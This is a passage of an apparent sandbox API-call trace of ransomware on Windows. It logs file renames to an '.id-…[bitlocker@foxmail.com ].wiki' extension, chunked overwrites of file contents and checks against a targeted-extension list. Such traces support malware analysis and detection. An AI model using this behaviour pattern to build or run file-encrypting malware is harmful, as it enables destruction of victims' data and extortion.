10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobemyungjostd-medium.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobesongstd-light.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.540] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0164.837] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozminpr6n-regular.otf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.413] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\acroread.msi"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\acroread.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.413] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi", dwFileAttributes=0x20) returned 0 [0165.414] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\data1.cab"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\data1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0165.414] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab", dwFileAttributes=0x20) returned 0 [0166.118] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.470] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.474] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.476] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d3dcompiler_47.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\d3dcompiler_47.dll"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\d3dcompiler_47.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\d3dcompiler_47.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.486] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrmstp.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrmstp.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrmstp.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrmstp.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.486] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\setup.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\setup.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\setup.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0166.487] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\libglesv2.dll" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\libglesv2.dll"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\libglesv2.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\libglesv2.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.839] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\d3dcompiler_43.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\d3dcompiler_43.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.841] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.849] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\xul.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\xul.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\mozilla firefox\\xul.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.857] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationCore.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationcore.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.858] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\PresentationFramework.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\presentationframework.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.862] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.ServiceModel.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.servicemodel.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.864] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.componentmodel.dll"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\System.Workflow.ComponentModel.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\system.workflow.componentmodel.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.906] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\System.Data.Entity.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\system.data.entity.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0171.888] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=17707008) returned 1 [0171.888] CloseHandle (hObject=0x1ac) returned 1 [0171.888] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp")) returned 0x20 [0171.888] GetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.888] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0171.889] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0171.889] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0171.890] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0171.890] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0171.897] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x5a1000, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0171.897] ReadFile (in: hFile=0x1ac, lpBuffer=0x3e60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e60058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0171.902] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0171.902] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x10a3000, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0171.902] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ea0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ea0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0171.927] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.927] WriteFile (in: hFile=0x1ac, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fcb0*=0xc011a, lpOverlapped=0x0) returned 1 [0172.306] SetEndOfFile (hFile=0x1ac) returned 1 [0172.306] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40000) returned 0x4260048 [0172.310] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0172.310] WriteFile (in: hFile=0x1ac, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0172.311] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x5a1000, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0172.311] WriteFile (in: hFile=0x1ac, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0172.312] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x10a3000, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0172.312] WriteFile (in: hFile=0x1ac, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0172.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4260048 | out: hHeap=0x630000) returned 1 [0172.314] CloseHandle (hObject=0x1ac) returned 1 [0172.314] SetFileAttributesW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0172.314] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.314] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.314] lstrlenW (lpString=".doc") returned 4 [0172.314] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0172.314] lstrlenW (lpString=".docx") returned 5 [0172.314] lstrcmpiW (lpString1=".docx", lpString2="I.msp") returned -1 [0172.314] lstrlenW (lpString=".pdf") returned 4 [0172.314] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0172.314] lstrlenW (lpString=".xls") returned 4 [0172.314] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0172.314] lstrlenW (lpString=".xlsx") returned 5 [0172.314] lstrcmpiW (lpString1=".xlsx", lpString2="I.msp") returned -1 [0172.315] lstrlenW (lpString=".ppt") returned 4 [0172.315] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0172.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.315] lstrlenW (lpString=".zip") returned 4 [0172.315] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0172.315] lstrlenW (lpString=".rar") returned 4 [0172.315] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0172.315] lstrlenW (lpString=".bz2") returned 4 [0172.315] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0172.315] lstrlenW (lpString=".7z") returned 3 [0172.315] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0172.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.315] lstrlenW (lpString=".dbf") returned 4 [0172.315] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0172.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.315] lstrlenW (lpString=".1cd") returned 4 [0172.315] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0172.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.315] lstrlenW (lpString=".jpg") returned 4 [0172.315] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0172.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.315] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.315] lstrlenW (lpString=".doc") returned 4 [0172.315] lstrcmpiW (lpString1=".doc", lpString2=".msp") returned -1 [0172.315] lstrlenW (lpString=".docx") returned 5 [0172.315] lstrcmpiW (lpString1=".docx", lpString2="I.msp") returned -1 [0172.315] lstrlenW (lpString=".pdf") returned 4 [0172.315] lstrcmpiW (lpString1=".pdf", lpString2=".msp") returned 1 [0172.315] lstrlenW (lpString=".xls") returned 4 [0172.315] lstrcmpiW (lpString1=".xls", lpString2=".msp") returned 1 [0172.315] lstrlenW (lpString=".xlsx") returned 5 [0172.316] lstrcmpiW (lpString1=".xlsx", lpString2="I.msp") returned -1 [0172.316] lstrlenW (lpString=".ppt") returned 4 [0172.316] lstrcmpiW (lpString1=".ppt", lpString2=".msp") returned 1 [0172.316] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.316] lstrlenW (lpString=".zip") returned 4 [0172.316] lstrcmpiW (lpString1=".zip", lpString2=".msp") returned 1 [0172.316] lstrlenW (lpString=".rar") returned 4 [0172.316] lstrcmpiW (lpString1=".rar", lpString2=".msp") returned 1 [0172.316] lstrlenW (lpString=".bz2") returned 4 [0172.316] lstrcmpiW (lpString1=".bz2", lpString2=".msp") returned -1 [0172.316] lstrlenW (lpString=".7z") returned 3 [0172.316] lstrcmpiW (lpString1=".7z", lpString2="msp") returned -1 [0172.316] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.316] lstrlenW (lpString=".dbf") returned 4 [0172.316] lstrcmpiW (lpString1=".dbf", lpString2=".msp") returned -1 [0172.316] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.316] lstrlenW (lpString=".1cd") returned 4 [0172.316] lstrcmpiW (lpString1=".1cd", lpString2=".msp") returned -1 [0172.316] lstrlenW (lpString="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned 62 [0172.316] lstrlenW (lpString=".jpg") returned 4 [0172.316] lstrcmpiW (lpString1=".jpg", lpString2=".msp") returned -1 [0172.316] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.316] lstrlenW (lpString="Resource Monitor.lnk") returned 20 [0172.316] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0172.393] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1242) returned 1 [0172.393] CloseHandle (hObject=0x1ac) returned 1 [0172.393] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk")) returned 0x20 [0172.393] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.394] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\resource monitor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.394] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.394] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.394] lstrlenW (lpString=".doc") returned 4 [0172.394] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.394] lstrlenW (lpString=".docx") returned 5 [0172.394] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.394] lstrlenW (lpString=".pdf") returned 4 [0172.394] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.394] lstrlenW (lpString=".xls") returned 4 [0172.394] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.394] lstrlenW (lpString=".xlsx") returned 5 [0172.394] lstrcmpiW (lpString1=".xlsx", lpString2="r.lnk") returned -1 [0172.394] lstrlenW (lpString=".ppt") returned 4 [0172.394] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.394] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.394] lstrlenW (lpString=".zip") returned 4 [0172.394] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.394] lstrlenW (lpString=".rar") returned 4 [0172.394] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.394] lstrlenW (lpString=".bz2") returned 4 [0172.394] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.394] lstrlenW (lpString=".7z") returned 3 [0172.394] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.394] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.394] lstrlenW (lpString=".dbf") returned 4 [0172.395] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.395] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.395] lstrlenW (lpString=".1cd") returned 4 [0172.395] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.395] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.395] lstrlenW (lpString=".jpg") returned 4 [0172.395] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.395] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.395] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Resource Monitor.lnk") returned 98 [0172.395] lstrlenW (lpString=".doc") returned 4 [0172.395] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.395] lstrlenW (lpString=".docx") returned 5 [0172.395] lstrcmpiW (lpString1=".docx", lpString2="r.lnk") returned -1 [0172.395] lstrlenW (lpString=".pdf") returned 4 [0172.395] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.395] lstrlenW (lpString=".xls") returned 4 [0172.395] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.395] lstrlenW (lpString=".xlsx") returned 5 [0172.395] lstrcmpiW (lpString1=".xlsx", 